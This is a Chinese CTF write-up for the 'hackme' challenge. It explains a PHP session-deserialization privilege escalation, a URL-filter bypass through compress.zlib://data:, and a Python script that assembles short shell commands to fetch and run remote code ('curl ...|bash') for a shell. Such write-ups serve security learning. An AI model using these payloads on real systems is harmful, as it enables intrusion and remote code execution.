0%

2020 GXZYCTF hackme

考点一、源码泄露

扫到源码

考点二、session反序列化

在login.php内包含了init.php,其中设置了序列化处理器,并且session是以文件形式保留的

1
2
3
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start()

而profile.php和core/init.php中使用了另外的序列化处理器:

1
2
3
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();

考点就很明显了。handler的不同点在于:

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

  • php 键名+竖线(|)+经过serialize()函数处理过的值

  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

  • 参考 https://www.cnblogs.com/hf99/p/9746038.html

正好可以发现,在upload_sign.php中,$_SESSION['sign']是完全可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}

public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}

而core中要求我们的$_SESSION['admin']为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}

所以我们可以控制sign这个session,利用序列化handler的差异进行session反序列化,将$_SESSION['admin']反序列化为1,本地生成序列化:

1
2
3
4
5
6
7
8
9
<?php
class info
{
public $admin = 1;
// public $sign;
}

$y1ng = new info();
echo serialize($y1ng);

得到:

1
O:4:"info":1:{s:5:"admin";i:1;}

在upload_sign.php进行POST提交以下内容

1
sign=12123|O:4:"info":1:{s:5:"admin";i:1;}

访问core/index.php 可以发现session验证成功,得到了core的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

考点三、BYPASS

这里对URL进行了匹配过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
}

过滤了data://,要求必须是127.0.0.1,还要file_get_contents()

1
2
3
compress.zlib://data:@127.0.0.1/text/palin,ls

compress.zlib://data:@127.0.0.1?;base64,bHM=

然后命令执行就和hitcon那个差不多,直接拿过来脚本跑一下,不过记得要设置一下cookie为PHPSESSID才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#encoding=utf-8

import requests
from time import sleep
from urllib import quote
import base64

payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>p\ ',
'>ph\\',
'>a.\\',
'>\>\\',
'>72\\',
'>cf\\',
'>cc\\',
'>81\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\',


# getshell
'sh x',
'sh g',

]

payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
cookies={'PHPSESSID': 'ddd'}
r = requests.get('http://121.36.222.22:88/core/clear.php',cookies=cookies)
for i in payload:
assert len(i) <= 20 #最大词数~~
r = requests.post('http://121.36.222.22:88/core/index.php',cookies=cookies,data={"url":payload_all.format(base64.b64encode(i))})
print r.text
sleep(0.5)